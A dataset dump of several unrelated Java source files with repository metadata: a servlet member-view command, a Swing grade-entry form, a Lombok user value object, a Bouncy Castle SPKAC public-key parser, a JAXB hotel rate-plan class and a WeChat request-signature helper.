b8f8458ef442247dda84346ef0a834d2ac19113f | 34,033,320,897,250 | 859b8b77229d869de4bf3c60d363af7b11d70bee | /src/Choiinyoung/command/MViewCommand.java | 876a399c8709d475e84d6df3b60ff20e2e7cd998 | [] | no_license | Dlsdud/test01 | https://github.com/Dlsdud/test01 | 9f82dc6349a2f712910bdb1f935fe7940c082f20 | c5e0e988804118b8ed31fd3020f9b9aa306d90f9 | refs/heads/master | 2023-08-29T11:05:53.020000 | 2021-11-11T06:56:28 | 2021-11-11T06:56:28 | 426,897,384 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package Choiinyoung.command;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import Choiinyoung.dao.MemberDAO;
import Choiinyoung.dto.MemberDTO;
public class MViewCommand implements MCommand {
@Override
public void execute(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String id = request.getParameter("id");
//1. MemberDAO를 생성
MemberDAO dao = new MemberDAO();
//2. 필요한 메소드를 호출
MemberDTO dto = dao.view(id);
//3. 반환된 값을 request 스코프에 저장
request.setAttribute("dto", dto);
}
}
| UTF-8 | Java | 711 | java | MViewCommand.java | Java | [] | null | [] | package Choiinyoung.command;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import Choiinyoung.dao.MemberDAO;
import Choiinyoung.dto.MemberDTO;
public class MViewCommand implements MCommand {
@Override
public void execute(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String id = request.getParameter("id");
//1. MemberDAO를 생성
MemberDAO dao = new MemberDAO();
//2. 필요한 메소드를 호출
MemberDTO dto = dao.view(id);
//3. 반환된 값을 request 스코프에 저장
request.setAttribute("dto", dto);
}
}
| 711 | 0.771429 | 0.766917 | 26 | 24.576923 | 25.296965 | 119 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.346154 | false | false | 15 |
63e8529b876de2b3a92b2a98c4ba8874831379d2 | 33,045,478,439,310 | 762ccf699b9fc543ff12ddd84057a3805ad927a3 | /SGE/src/windowbuilder/notas/CadastrarNotas.java | 04016d83aad6f18abee983f299dd1b2793180165 | [] | no_license | mrcsxsiq/ICC005 | https://github.com/mrcsxsiq/ICC005 | 6e974997b18940710ad7e62adc853c1f19f2d8f6 | 115ef54e79ecea68b766bddd952899dc8bd9546a | refs/heads/master | 2021-01-09T20:29:41.008000 | 2016-07-28T20:49:04 | 2016-07-28T20:49:04 | 64,427,042 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package windowbuilder.notas;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.text.NumberFormat;
import java.util.ArrayList;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JTextField;
import javax.swing.JComboBox;
import javax.swing.SwingUtilities;
import bancodedados.DisciplinaDAO;
import bancodedados.NotasDAO;
import projeto.Disciplina;
import projeto.Nota;
import javax.swing.JFormattedTextField;
public class CadastrarNotas extends JPanel{
private int idNota;
private JFormattedTextField textFieldNota;
private JPanel panel;
private JLabel lblNewLabel;
private JLabel lblNewLabel_1;
private JButton btnNewButton;
/**
* Create the application.
* @param visualizar
*/
public CadastrarNotas(final VisualizarNotas visualizar, int id) {
setLayout(null);
this.idNota = id;
Nota nota = null;
if (id != 0){
NotasDAO notasDAO = new NotasDAO();
notasDAO.conecta();
nota = notasDAO.notaPorCodigo(id);
}
JLabel lblNewLabel_2 = new JLabel("Disciplina:");
lblNewLabel_2.setBounds(24, 24, 257, 26);
add(lblNewLabel_2);
DisciplinaDAO disciplinaDAO = new DisciplinaDAO();
disciplinaDAO.conecta();
ArrayList<Disciplina> lista = disciplinaDAO.listarDisciplinas();
String[] comboBoxArray = new String[lista.size()];
for (int i = 0; i < lista.size(); i++){
comboBoxArray[i] = lista.get(i).getNome();
}
final JComboBox comboBoxDisciplinas = new JComboBox(comboBoxArray);
comboBoxDisciplinas.setBounds(24, 56, 369, 27);
add(comboBoxDisciplinas);
if (id != 0) {
Disciplina d = disciplinaDAO.disciplinaPorCodigo(nota.getDisciplina());
comboBoxDisciplinas.getEditor().setItem(d.getNome());
}
disciplinaDAO.desconecta();
JLabel lblNewLabel_3 = new JLabel("Nota:");
lblNewLabel_3.setBounds(24, 95, 61, 16);
add(lblNewLabel_3);
textFieldNota = new JFormattedTextField();
textFieldNota.setBounds(24, 123, 369, 28);
add(textFieldNota);
if (id != 0) textFieldNota.setText(String.valueOf(nota.getNota()));
JButton btnSalvar = new JButton("Salvar");
btnSalvar.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
String nomeDisciplina = comboBoxDisciplinas.getSelectedItem().toString();
DisciplinaDAO disciplinaDAO = new DisciplinaDAO();
disciplinaDAO.conecta();
Disciplina d = disciplinaDAO.disciplinaPorNome(nomeDisciplina);
disciplinaDAO.desconecta();
int idDisciplina = d.getId();
Nota n = new Nota(idNota, idDisciplina, Double.valueOf(textFieldNota.getText()));
NotasDAO notasDAO = new NotasDAO();
notasDAO.conecta();
if (idNota == 0){
notasDAO.cadastrarNota(n);
JOptionPane.showMessageDialog(null, "Nota cadastrado com sucesso!");
} else {
notasDAO.atualizarNota(n);
JOptionPane.showMessageDialog(null, "Nota atualizado com sucesso!");
JFrame frame = (JFrame) SwingUtilities.getWindowAncestor(getParent());
frame.dispose();
new Notas();
}
if (visualizar != null)
visualizar.atualizarTabela();
textFieldNota.setText("");
notasDAO.desconecta();
}
});
btnSalvar.setBounds(503, 325, 117, 29);
add(btnSalvar);
}
}
| UTF-8 | Java | 3,323 | java | CadastrarNotas.java | Java | [] | null | [] | package windowbuilder.notas;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.text.NumberFormat;
import java.util.ArrayList;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JTextField;
import javax.swing.JComboBox;
import javax.swing.SwingUtilities;
import bancodedados.DisciplinaDAO;
import bancodedados.NotasDAO;
import projeto.Disciplina;
import projeto.Nota;
import javax.swing.JFormattedTextField;
public class CadastrarNotas extends JPanel{
private int idNota;
private JFormattedTextField textFieldNota;
private JPanel panel;
private JLabel lblNewLabel;
private JLabel lblNewLabel_1;
private JButton btnNewButton;
/**
* Create the application.
* @param visualizar
*/
public CadastrarNotas(final VisualizarNotas visualizar, int id) {
setLayout(null);
this.idNota = id;
Nota nota = null;
if (id != 0){
NotasDAO notasDAO = new NotasDAO();
notasDAO.conecta();
nota = notasDAO.notaPorCodigo(id);
}
JLabel lblNewLabel_2 = new JLabel("Disciplina:");
lblNewLabel_2.setBounds(24, 24, 257, 26);
add(lblNewLabel_2);
DisciplinaDAO disciplinaDAO = new DisciplinaDAO();
disciplinaDAO.conecta();
ArrayList<Disciplina> lista = disciplinaDAO.listarDisciplinas();
String[] comboBoxArray = new String[lista.size()];
for (int i = 0; i < lista.size(); i++){
comboBoxArray[i] = lista.get(i).getNome();
}
final JComboBox comboBoxDisciplinas = new JComboBox(comboBoxArray);
comboBoxDisciplinas.setBounds(24, 56, 369, 27);
add(comboBoxDisciplinas);
if (id != 0) {
Disciplina d = disciplinaDAO.disciplinaPorCodigo(nota.getDisciplina());
comboBoxDisciplinas.getEditor().setItem(d.getNome());
}
disciplinaDAO.desconecta();
JLabel lblNewLabel_3 = new JLabel("Nota:");
lblNewLabel_3.setBounds(24, 95, 61, 16);
add(lblNewLabel_3);
textFieldNota = new JFormattedTextField();
textFieldNota.setBounds(24, 123, 369, 28);
add(textFieldNota);
if (id != 0) textFieldNota.setText(String.valueOf(nota.getNota()));
JButton btnSalvar = new JButton("Salvar");
btnSalvar.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
String nomeDisciplina = comboBoxDisciplinas.getSelectedItem().toString();
DisciplinaDAO disciplinaDAO = new DisciplinaDAO();
disciplinaDAO.conecta();
Disciplina d = disciplinaDAO.disciplinaPorNome(nomeDisciplina);
disciplinaDAO.desconecta();
int idDisciplina = d.getId();
Nota n = new Nota(idNota, idDisciplina, Double.valueOf(textFieldNota.getText()));
NotasDAO notasDAO = new NotasDAO();
notasDAO.conecta();
if (idNota == 0){
notasDAO.cadastrarNota(n);
JOptionPane.showMessageDialog(null, "Nota cadastrado com sucesso!");
} else {
notasDAO.atualizarNota(n);
JOptionPane.showMessageDialog(null, "Nota atualizado com sucesso!");
JFrame frame = (JFrame) SwingUtilities.getWindowAncestor(getParent());
frame.dispose();
new Notas();
}
if (visualizar != null)
visualizar.atualizarTabela();
textFieldNota.setText("");
notasDAO.desconecta();
}
});
btnSalvar.setBounds(503, 325, 117, 29);
add(btnSalvar);
}
}
| 3,323 | 0.721035 | 0.70328 | 115 | 27.895653 | 21.130804 | 85 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 2.834783 | false | false | 15 |
e47eabdb6aefe2ceee90c70b265b9815b5c2eccb | 14,156,212,270,241 | 4ca6ab0e9659a20fffcec22404733e6fce9da012 | /pyg-common/src/main/java/com/user/vo/PygUserVO.java | 3d80b130c9fd4b3c8c26da879dfa0e9ebfa65c30 | [] | no_license | tom12510/pygparent | https://github.com/tom12510/pygparent | 2f76e7cf8c7362d3fec92bdcd714198306774420 | d3edc290a0ae4405f48d027fe220372fb77065af | refs/heads/master | 2022-04-21T05:02:35.999000 | 2020-04-19T06:05:33 | 2020-04-19T06:05:33 | 256,806,311 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.user.vo;
import com.user.entity.PygUser;
import lombok.Data;
@Data
public class PygUserVO extends PygUser {
}
| UTF-8 | Java | 124 | java | PygUserVO.java | Java | [] | null | [] | package com.user.vo;
import com.user.entity.PygUser;
import lombok.Data;
@Data
public class PygUserVO extends PygUser {
}
| 124 | 0.774194 | 0.774194 | 8 | 14.5 | 14.43087 | 40 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.375 | false | false | 15 |
bdac2501fe04cb45ac4076cea716772b3aaefa0f | 37,495,064,516,120 | c19cb77e3958a194046d6f84ca97547cc3a223c3 | /pkix/src/main/java/org/bouncycastle/mozilla/jcajce/JcaSignedPublicKeyAndChallenge.java | 83440fff642dc873eb273319c4f575e2c5c3afc3 | [
"Apache-2.0",
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | bcgit/bc-java | https://github.com/bcgit/bc-java | 1b6092bc5d2336ec26ebd6da6eeaea6600b4c70a | 62b03c0f704ebd243fe5f2d701aef4edd77bba6e | refs/heads/main | 2023-09-04T00:48:33.995000 | 2023-08-30T05:33:42 | 2023-08-30T05:33:42 | 10,416,648 | 1,984 | 1,021 | MIT | false | 2023-08-26T05:14:28 | 2013-06-01T02:38:42 | 2023-08-25T23:28:27 | 2023-08-24T12:11:48 | 66,399 | 2,000 | 1,072 | 224 | Java | false | false | package org.bouncycastle.mozilla.jcajce;
import java.security.InvalidKeyException;
import java.security.KeyFactory;
import java.security.NoSuchAlgorithmException;
import java.security.NoSuchProviderException;
import java.security.Provider;
import java.security.PublicKey;
import java.security.spec.X509EncodedKeySpec;
import org.bouncycastle.asn1.x509.AlgorithmIdentifier;
import org.bouncycastle.asn1.x509.SubjectPublicKeyInfo;
import org.bouncycastle.jcajce.util.DefaultJcaJceHelper;
import org.bouncycastle.jcajce.util.JcaJceHelper;
import org.bouncycastle.jcajce.util.NamedJcaJceHelper;
import org.bouncycastle.jcajce.util.ProviderJcaJceHelper;
import org.bouncycastle.mozilla.SignedPublicKeyAndChallenge;
/**
* This is designed to parse the SignedPublicKeyAndChallenge created by the
* KEYGEN tag included by Mozilla based browsers.
* <pre>
* PublicKeyAndChallenge ::= SEQUENCE {
* spki SubjectPublicKeyInfo,
* challenge IA5STRING
* }
*
* SignedPublicKeyAndChallenge ::= SEQUENCE {
* publicKeyAndChallenge PublicKeyAndChallenge,
* signatureAlgorithm AlgorithmIdentifier,
* signature BIT STRING
* }
* </pre>
*/
public class JcaSignedPublicKeyAndChallenge
extends SignedPublicKeyAndChallenge
{
JcaJceHelper helper = new DefaultJcaJceHelper();
private JcaSignedPublicKeyAndChallenge(org.bouncycastle.asn1.mozilla.SignedPublicKeyAndChallenge struct, JcaJceHelper helper)
{
super(struct);
this.helper = helper;
}
public JcaSignedPublicKeyAndChallenge(byte[] bytes)
{
super(bytes);
}
public JcaSignedPublicKeyAndChallenge setProvider(String providerName)
{
return new JcaSignedPublicKeyAndChallenge(this.spkacSeq, new NamedJcaJceHelper(providerName));
}
public JcaSignedPublicKeyAndChallenge setProvider(Provider provider)
{
return new JcaSignedPublicKeyAndChallenge(this.spkacSeq, new ProviderJcaJceHelper(provider));
}
public PublicKey getPublicKey()
throws NoSuchAlgorithmException, NoSuchProviderException, InvalidKeyException
{
try
{
SubjectPublicKeyInfo subjectPublicKeyInfo = spkacSeq.getPublicKeyAndChallenge().getSubjectPublicKeyInfo();
X509EncodedKeySpec xspec = new X509EncodedKeySpec(subjectPublicKeyInfo.getEncoded());
AlgorithmIdentifier keyAlg = subjectPublicKeyInfo.getAlgorithm();
KeyFactory factory = helper.createKeyFactory(keyAlg.getAlgorithm().getId());
return factory.generatePublic(xspec);
}
catch (Exception e)
{
throw new InvalidKeyException("error encoding public key");
}
}
}
| UTF-8 | Java | 2,698 | java | JcaSignedPublicKeyAndChallenge.java | Java | [] | null | [] | package org.bouncycastle.mozilla.jcajce;
import java.security.InvalidKeyException;
import java.security.KeyFactory;
import java.security.NoSuchAlgorithmException;
import java.security.NoSuchProviderException;
import java.security.Provider;
import java.security.PublicKey;
import java.security.spec.X509EncodedKeySpec;
import org.bouncycastle.asn1.x509.AlgorithmIdentifier;
import org.bouncycastle.asn1.x509.SubjectPublicKeyInfo;
import org.bouncycastle.jcajce.util.DefaultJcaJceHelper;
import org.bouncycastle.jcajce.util.JcaJceHelper;
import org.bouncycastle.jcajce.util.NamedJcaJceHelper;
import org.bouncycastle.jcajce.util.ProviderJcaJceHelper;
import org.bouncycastle.mozilla.SignedPublicKeyAndChallenge;
/**
* This is designed to parse the SignedPublicKeyAndChallenge created by the
* KEYGEN tag included by Mozilla based browsers.
* <pre>
* PublicKeyAndChallenge ::= SEQUENCE {
* spki SubjectPublicKeyInfo,
* challenge IA5STRING
* }
*
* SignedPublicKeyAndChallenge ::= SEQUENCE {
* publicKeyAndChallenge PublicKeyAndChallenge,
* signatureAlgorithm AlgorithmIdentifier,
* signature BIT STRING
* }
* </pre>
*/
public class JcaSignedPublicKeyAndChallenge
extends SignedPublicKeyAndChallenge
{
JcaJceHelper helper = new DefaultJcaJceHelper();
private JcaSignedPublicKeyAndChallenge(org.bouncycastle.asn1.mozilla.SignedPublicKeyAndChallenge struct, JcaJceHelper helper)
{
super(struct);
this.helper = helper;
}
public JcaSignedPublicKeyAndChallenge(byte[] bytes)
{
super(bytes);
}
public JcaSignedPublicKeyAndChallenge setProvider(String providerName)
{
return new JcaSignedPublicKeyAndChallenge(this.spkacSeq, new NamedJcaJceHelper(providerName));
}
public JcaSignedPublicKeyAndChallenge setProvider(Provider provider)
{
return new JcaSignedPublicKeyAndChallenge(this.spkacSeq, new ProviderJcaJceHelper(provider));
}
public PublicKey getPublicKey()
throws NoSuchAlgorithmException, NoSuchProviderException, InvalidKeyException
{
try
{
SubjectPublicKeyInfo subjectPublicKeyInfo = spkacSeq.getPublicKeyAndChallenge().getSubjectPublicKeyInfo();
X509EncodedKeySpec xspec = new X509EncodedKeySpec(subjectPublicKeyInfo.getEncoded());
AlgorithmIdentifier keyAlg = subjectPublicKeyInfo.getAlgorithm();
KeyFactory factory = helper.createKeyFactory(keyAlg.getAlgorithm().getId());
return factory.generatePublic(xspec);
}
catch (Exception e)
{
throw new InvalidKeyException("error encoding public key");
}
}
}
| 2,698 | 0.749073 | 0.742031 | 81 | 32.308643 | 31.643711 | 129 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.432099 | false | false | 15 |
d5c1ec2ddad5a9ca538e074cd84fd7f0e8ac37fc | 37,495,064,516,570 | d4ad8016de5c475eff84017f0a3ba71e0dd15d67 | /platform-contract/src/main/java/com/hotel/platform/contract/cota/RatePlanCandidatesType.java | 94f969963f19f82ab4188867d71c0f5383fdb20a | [] | no_license | switch-platfom/platform-service | https://github.com/switch-platfom/platform-service | 88a3865fcc206e561afdecdd1c922ab2ce1b5c9d | d57399304e4ca912bc20fe56f4e46194e76aeb3a | refs/heads/master | 2020-05-05T10:29:03.308000 | 2019-04-12T15:26:24 | 2019-04-12T15:26:24 | 179,947,414 | 3 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.hotel.platform.contract.cota;
import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlAttribute;
import javax.xml.bind.annotation.XmlElement;
import javax.xml.bind.annotation.XmlType;
/**
* <p>RatePlanCandidatesType complex type的 Java 类。
*
* <p>以下模式片段指定包含在此类中的预期内容。
*
* <pre>
* <complexType name="RatePlanCandidatesType">
* <complexContent>
* <restriction base="{http://www.w3.org/2001/XMLSchema}anyType">
* <sequence>
* <element name="RatePlanCandidate">
* <complexType>
* <complexContent>
* <restriction base="{http://www.w3.org/2001/XMLSchema}anyType">
* <attGroup ref="{http://www.opentravel.org/OTA/2003/05}RatePlanGroup"/>
* </restriction>
* </complexContent>
* </complexType>
* </element>
* </sequence>
* </restriction>
* </complexContent>
* </complexType>
* </pre>
*
*
*/
@XmlAccessorType(XmlAccessType.FIELD)
@XmlType(name = "RatePlanCandidatesType", propOrder = {
"ratePlanCandidate"
})
public class RatePlanCandidatesType {
@XmlElement(name = "RatePlanCandidate", required = true)
protected RatePlanCandidate ratePlanCandidate;
/**
* 获取ratePlanCandidate属性的值。
*
* @return
* possible object is
* {@link RatePlanCandidate }
*
*/
public RatePlanCandidate getRatePlanCandidate() {
return ratePlanCandidate;
}
/**
* 设置ratePlanCandidate属性的值。
*
* @param value
* allowed object is
* {@link RatePlanCandidate }
*
*/
public void setRatePlanCandidate(RatePlanCandidate value) {
this.ratePlanCandidate = value;
}
/**
* <p>anonymous complex type的 Java 类。
*
* <p>以下模式片段指定包含在此类中的预期内容。
*
* <pre>
* <complexType>
* <complexContent>
* <restriction base="{http://www.w3.org/2001/XMLSchema}anyType">
* <attGroup ref="{http://www.opentravel.org/OTA/2003/05}RatePlanGroup"/>
* </restriction>
* </complexContent>
* </complexType>
* </pre>
*
*
*/
@XmlAccessorType(XmlAccessType.FIELD)
@XmlType(name = "")
public static class RatePlanCandidate {
@XmlAttribute(name = "RatePlanType")
protected String ratePlanType;
@XmlAttribute(name = "RatePlanCode")
protected String ratePlanCode;
@XmlAttribute(name = "RatePlanID")
protected String ratePlanID;
@XmlAttribute(name = "RatePlanCategory")
protected String ratePlanCategory;
/**
* 获取ratePlanType属性的值。
*
* @return
* possible object is
* {@link String }
*
*/
public String getRatePlanType() {
return ratePlanType;
}
/**
* 设置ratePlanType属性的值。
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setRatePlanType(String value) {
this.ratePlanType = value;
}
/**
* 获取ratePlanCode属性的值。
*
* @return
* possible object is
* {@link String }
*
*/
public String getRatePlanCode() {
return ratePlanCode;
}
/**
* 设置ratePlanCode属性的值。
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setRatePlanCode(String value) {
this.ratePlanCode = value;
}
/**
* 获取ratePlanID属性的值。
*
* @return
* possible object is
* {@link String }
*
*/
public String getRatePlanID() {
return ratePlanID;
}
/**
* 设置ratePlanID属性的值。
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setRatePlanID(String value) {
this.ratePlanID = value;
}
/**
* 获取ratePlanCategory属性的值。
*
* @return
* possible object is
* {@link String }
*
*/
public String getRatePlanCategory() {
return ratePlanCategory;
}
/**
* 设置ratePlanCategory属性的值。
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setRatePlanCategory(String value) {
this.ratePlanCategory = value;
}
}
}
| UTF-8 | Java | 5,199 | java | RatePlanCandidatesType.java | Java | [] | null | [] |
package com.hotel.platform.contract.cota;
import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlAttribute;
import javax.xml.bind.annotation.XmlElement;
import javax.xml.bind.annotation.XmlType;
/**
* <p>RatePlanCandidatesType complex type的 Java 类。
*
* <p>以下模式片段指定包含在此类中的预期内容。
*
* <pre>
* <complexType name="RatePlanCandidatesType">
* <complexContent>
* <restriction base="{http://www.w3.org/2001/XMLSchema}anyType">
* <sequence>
* <element name="RatePlanCandidate">
* <complexType>
* <complexContent>
* <restriction base="{http://www.w3.org/2001/XMLSchema}anyType">
* <attGroup ref="{http://www.opentravel.org/OTA/2003/05}RatePlanGroup"/>
* </restriction>
* </complexContent>
* </complexType>
* </element>
* </sequence>
* </restriction>
* </complexContent>
* </complexType>
* </pre>
*
*
*/
@XmlAccessorType(XmlAccessType.FIELD)
@XmlType(name = "RatePlanCandidatesType", propOrder = {
"ratePlanCandidate"
})
public class RatePlanCandidatesType {
@XmlElement(name = "RatePlanCandidate", required = true)
protected RatePlanCandidate ratePlanCandidate;
/**
* 获取ratePlanCandidate属性的值。
*
* @return
* possible object is
* {@link RatePlanCandidate }
*
*/
public RatePlanCandidate getRatePlanCandidate() {
return ratePlanCandidate;
}
/**
* 设置ratePlanCandidate属性的值。
*
* @param value
* allowed object is
* {@link RatePlanCandidate }
*
*/
public void setRatePlanCandidate(RatePlanCandidate value) {
this.ratePlanCandidate = value;
}
/**
* <p>anonymous complex type的 Java 类。
*
* <p>以下模式片段指定包含在此类中的预期内容。
*
* <pre>
* <complexType>
* <complexContent>
* <restriction base="{http://www.w3.org/2001/XMLSchema}anyType">
* <attGroup ref="{http://www.opentravel.org/OTA/2003/05}RatePlanGroup"/>
* </restriction>
* </complexContent>
* </complexType>
* </pre>
*
*
*/
@XmlAccessorType(XmlAccessType.FIELD)
@XmlType(name = "")
public static class RatePlanCandidate {
@XmlAttribute(name = "RatePlanType")
protected String ratePlanType;
@XmlAttribute(name = "RatePlanCode")
protected String ratePlanCode;
@XmlAttribute(name = "RatePlanID")
protected String ratePlanID;
@XmlAttribute(name = "RatePlanCategory")
protected String ratePlanCategory;
/**
* 获取ratePlanType属性的值。
*
* @return
* possible object is
* {@link String }
*
*/
public String getRatePlanType() {
return ratePlanType;
}
/**
* 设置ratePlanType属性的值。
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setRatePlanType(String value) {
this.ratePlanType = value;
}
/**
* 获取ratePlanCode属性的值。
*
* @return
* possible object is
* {@link String }
*
*/
public String getRatePlanCode() {
return ratePlanCode;
}
/**
* 设置ratePlanCode属性的值。
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setRatePlanCode(String value) {
this.ratePlanCode = value;
}
/**
* 获取ratePlanID属性的值。
*
* @return
* possible object is
* {@link String }
*
*/
public String getRatePlanID() {
return ratePlanID;
}
/**
* 设置ratePlanID属性的值。
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setRatePlanID(String value) {
this.ratePlanID = value;
}
/**
* 获取ratePlanCategory属性的值。
*
* @return
* possible object is
* {@link String }
*
*/
public String getRatePlanCategory() {
return ratePlanCategory;
}
/**
* 设置ratePlanCategory属性的值。
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setRatePlanCategory(String value) {
this.ratePlanCategory = value;
}
}
}
| 5,199 | 0.519026 | 0.51359 | 199 | 23.954773 | 18.484354 | 95 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.356784 | false | false | 15 |
6ce731e4bde193c417e4837c6932ff0585461ab3 | 35,330,401,014,429 | 337f380fb6ca4491dc1efe860d9504821ce30372 | /easyMoney2.0/src/com/easy/util/wechat/WechatSupport.java | 52185ffabb4c5392d5d68c1f979bdd2d8fa191cf | [] | no_license | tong12580/easyMoney2.0 | https://github.com/tong12580/easyMoney2.0 | f227deddc92e498160e25431d6dd438bd6c55815 | 580c4b10f8d8ac1419c5c6664592e9932fc7d40f | refs/heads/master | 2016-08-09T01:39:57.497000 | 2016-02-26T06:57:15 | 2016-02-26T06:57:15 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | /**
* Filename: WechatSupport.java
* Description:
* Copyright: Copyright (c)2014
* Company: ecm
* @author: 凡俊
* @version: 1.0
* Create at: 2014-5-25
*
* Modification History:
* Date Author Version Description
* ------------------------------------------------------------------
* 2014-5-25 凡俊 1.0 1.0 Version
*/
package com.easy.util.wechat;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.Arrays;
import java.util.Scanner;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import com.easy.common.Util;
/**
* @ClassName: WechatSupport
* @Description: 微信服务支持
* @author 凡俊
* @date 2014-5-25
*
*/
public class WechatSupport {
/**
* @Title: checkSign
* @Description: 验证请求来源
* @param @param request
* @param @param token
* @param @return
* @return boolean
*/
public boolean checkSign(HttpServletRequest request, String token){
String timestamp = request.getParameter("timestamp");
String nonce = request.getParameter("nonce");
String signature = request.getParameter("signature");
if (Util.isEmpty(timestamp, nonce, signature)) {
return false;
}
String[] str = {token, timestamp, nonce };
Arrays.sort(str); // 字典序排序
String bigStr = str[0] + str[1] + str[2];
// SHA1加密
String digest = new com.easy.util.wechat.util.SHA1().getDigestOfString(bigStr.getBytes()).toLowerCase();
return digest.equalsIgnoreCase(signature);
}
/**
* @Title: receiveData
* @Description: 接收数据
* @param @param request
* @param @param encoding
* @param @return
* @param @throws IOException
* @return String
*/
public String receiveData(HttpServletRequest request, String encoding) throws IOException{
String retMsg = null;
Scanner scanner = null;
try {
scanner = new Scanner(request.getInputStream(),encoding);
// 1、获取用户发送的信息
StringBuffer sb = new StringBuffer(100);
while (scanner.hasNextLine()) {
sb.append(scanner.nextLine());
}
retMsg = sb.toString();
}finally{
if (scanner != null) {
scanner.close();
scanner = null;
}
}
return retMsg;
}
public void outPrint(HttpServletResponse response, String outString){
PrintWriter out = null;
try {
response.setCharacterEncoding("utf-8");
out = response.getWriter();
out.print(outString);
} catch (IOException e) {
e.printStackTrace();
} finally {
if (out != null) {
try {
out.flush();
out.close();
} catch (Exception e2) {
}
}
}
}
}
| UTF-8 | Java | 2,764 | java | WechatSupport.java | Java | [
{
"context": "ght (c)2014 \r\n* Company: ecm \r\n* @author: 凡俊 \r\n* @version: 1.0 \r\n* Create at: 2014-5-25",
"end": 136,
"score": 0.9996726512908936,
"start": 134,
"tag": "NAME",
"value": "凡俊"
},
{
"context": "------------------------------- \r\n* 2014-5-25 凡俊 1.0 1.0 Version \r\n*/\r\npackage com.e",
"end": 367,
"score": 0.9908750653266907,
"start": 365,
"tag": "NAME",
"value": "凡俊"
},
{
"context": "chatSupport \r\n * @Description: 微信服务支持\r\n * @author 凡俊\r\n * @date 2014-5-25\r\n * \r\n */\r\npublic class Wech",
"end": 754,
"score": 0.9997058510780334,
"start": 752,
"tag": "NAME",
"value": "凡俊"
}
] | null | [] | /**
* Filename: WechatSupport.java
* Description:
* Copyright: Copyright (c)2014
* Company: ecm
* @author: 凡俊
* @version: 1.0
* Create at: 2014-5-25
*
* Modification History:
* Date Author Version Description
* ------------------------------------------------------------------
* 2014-5-25 凡俊 1.0 1.0 Version
*/
package com.easy.util.wechat;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.Arrays;
import java.util.Scanner;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import com.easy.common.Util;
/**
* @ClassName: WechatSupport
* @Description: 微信服务支持
* @author 凡俊
* @date 2014-5-25
*
*/
public class WechatSupport {
/**
* @Title: checkSign
* @Description: 验证请求来源
* @param @param request
* @param @param token
* @param @return
* @return boolean
*/
public boolean checkSign(HttpServletRequest request, String token){
String timestamp = request.getParameter("timestamp");
String nonce = request.getParameter("nonce");
String signature = request.getParameter("signature");
if (Util.isEmpty(timestamp, nonce, signature)) {
return false;
}
String[] str = {token, timestamp, nonce };
Arrays.sort(str); // 字典序排序
String bigStr = str[0] + str[1] + str[2];
// SHA1加密
String digest = new com.easy.util.wechat.util.SHA1().getDigestOfString(bigStr.getBytes()).toLowerCase();
return digest.equalsIgnoreCase(signature);
}
/**
* @Title: receiveData
* @Description: 接收数据
* @param @param request
* @param @param encoding
* @param @return
* @param @throws IOException
* @return String
*/
public String receiveData(HttpServletRequest request, String encoding) throws IOException{
String retMsg = null;
Scanner scanner = null;
try {
scanner = new Scanner(request.getInputStream(),encoding);
// 1、获取用户发送的信息
StringBuffer sb = new StringBuffer(100);
while (scanner.hasNextLine()) {
sb.append(scanner.nextLine());
}
retMsg = sb.toString();
}finally{
if (scanner != null) {
scanner.close();
scanner = null;
}
}
return retMsg;
}
public void outPrint(HttpServletResponse response, String outString){
PrintWriter out = null;
try {
response.setCharacterEncoding("utf-8");
out = response.getWriter();
out.print(outString);
} catch (IOException e) {
e.printStackTrace();
} finally {
if (out != null) {
try {
out.flush();
out.close();
} catch (Exception e2) {
}
}
}
}
}
| 2,764 | 0.610201 | 0.594564 | 110 | 22.418182 | 19.891699 | 106 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.772727 | false | false | 15 |
